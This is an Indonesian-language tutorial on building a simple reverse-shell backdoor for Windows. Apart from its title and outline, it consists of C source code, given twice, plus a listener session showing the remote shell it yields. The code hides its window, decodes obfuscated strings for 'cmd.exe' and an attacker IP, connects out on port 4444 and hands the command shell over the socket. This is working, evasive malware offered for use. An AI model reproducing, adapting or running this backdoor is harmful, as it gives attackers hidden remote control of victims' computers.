Cara Membuat Backdoor Reverse Shell Sederhana Untuk Sistem Operasi MS Windows

    1 Pendahuluan
    2 Langkah-langkah
    3 Source Code (Tanpa Line Number)
    4 Penutup
    5 Referensi

     1  #include <winsock2.h>
     2  #include <windows.h>
     3
     4  #ifdef _MSC_VER
     5  #pragma comment(lib,"kernel32")
     6  #pragma comment(lib,"ws2_32")
     7  #pragma comment(linker,"/subsystem:windows /entry:main /align:8 /merge:.rdata=.text /merge:.data=.text /section:.text,ERW")
     8  #endif
     9
    10  void main()
    11  {
    12      int i;
    13      WSADATA wd;
    14      SOCKET sock;
    15      struct sockaddr_in sa;
    16      STARTUPINFO si;
    17      PROCESS_INFORMATION pi;
    18      static char *szstr[] = {"\x36\x40\x37\x01\x38\x4b\x38\x00", \
    19                              "\x04\x0c\x05\x01\x04\x09\x0b\x01\x04\x01\x05\x06\x07\x00"};
    20
    21
    22      if (WSAStartup(0x0202, &wd)) { ExitProcess(1); }
    23      if ((sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) != INVALID_SOCKET) {
    24          for (i=0; i<13; i++) { szstr[1][i] += 0x2d; }
    25
    26          sa.sin_family      = AF_INET;
    27          sa.sin_port        = htons(4444);
    28          sa.sin_addr.s_addr = inet_addr(szstr[1]);
    29
    30          if (connect(sock, (SOCKADDR *) &sa, sizeof(sa)) != SOCKET_ERROR) {
    31              SecureZeroMemory(&si, sizeof(si));
    32              SecureZeroMemory(&pi, sizeof(pi));
    33
    34              si.cb          = sizeof(si);
    35              si.dwFlags     = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    36              si.wShowWindow = SW_HIDE;
    37              si.hStdInput   = (HANDLE) sock;
    38              si.hStdOutput  = (HANDLE) sock;
    39              si.hStdError   = (HANDLE) sock;
    40
    41              for (i=0; i<7; i++) { szstr[0][i] += 0x2d; }
    42
    43              if (CreateProcess(NULL, szstr[0], NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
    44                  WaitForSingleObject(pi.hProcess, INFINITE);
    45                  CloseHandle(pi.hThread);
    46                  CloseHandle(pi.hProcess);
    47              }
    48          }
    49          closesocket(sock);
    50      }
    51      WSACleanup();
    52      ExitProcess(0);
    53  }

$ ncat -lp 4444
Microsoft Windows [Version 6.1.7601]

D:\rndc>whoami
whoami
sputnik\rndc

D:\rndc>

#include <winsock2.h>
#include <windows.h>

#ifdef _MSC_VER
#pragma comment(lib,"kernel32")
#pragma comment(lib,"ws2_32")
#pragma comment(linker,"/subsystem:windows /entry:main /align:8 /merge:.rdata=.text /merge:.data=.text /section:.text,ERW")
#endif

void main()
{
    int i;
    WSADATA wd;
    SOCKET sock;
    struct sockaddr_in sa;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    static char *szstr[] = {"\x36\x40\x37\x01\x38\x4b\x38\x00", \
                            "\x04\x0c\x05\x01\x04\x09\x0b\x01\x04\x01\x05\x06\x07\x00"};


    if (WSAStartup(0x0202, &wd)) { ExitProcess(1); }
    if ((sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) != INVALID_SOCKET) {
        for (i=0; i<13; i++) { szstr[1][i] += 0x2d; }

        sa.sin_family      = AF_INET;
        sa.sin_port        = htons(4444);
        sa.sin_addr.s_addr = inet_addr(szstr[1]);

        if (connect(sock, (SOCKADDR *) &sa, sizeof(sa)) != SOCKET_ERROR) {
            SecureZeroMemory(&si, sizeof(si));
            SecureZeroMemory(&pi, sizeof(pi));

            si.cb          = sizeof(si);
            si.dwFlags     = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
            si.wShowWindow = SW_HIDE;
            si.hStdInput   = (HANDLE) sock;
            si.hStdOutput  = (HANDLE) sock;
            si.hStdError   = (HANDLE) sock;

            for (i=0; i<7; i++) { szstr[0][i] += 0x2d; }

            if (CreateProcess(NULL, szstr[0], NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
                WaitForSingleObject(pi.hProcess, INFINITE);
                CloseHandle(pi.hThread);
                CloseHandle(pi.hProcess);
            }
        }
        closesocket(sock);
    }
    WSACleanup();
    ExitProcess(0);
}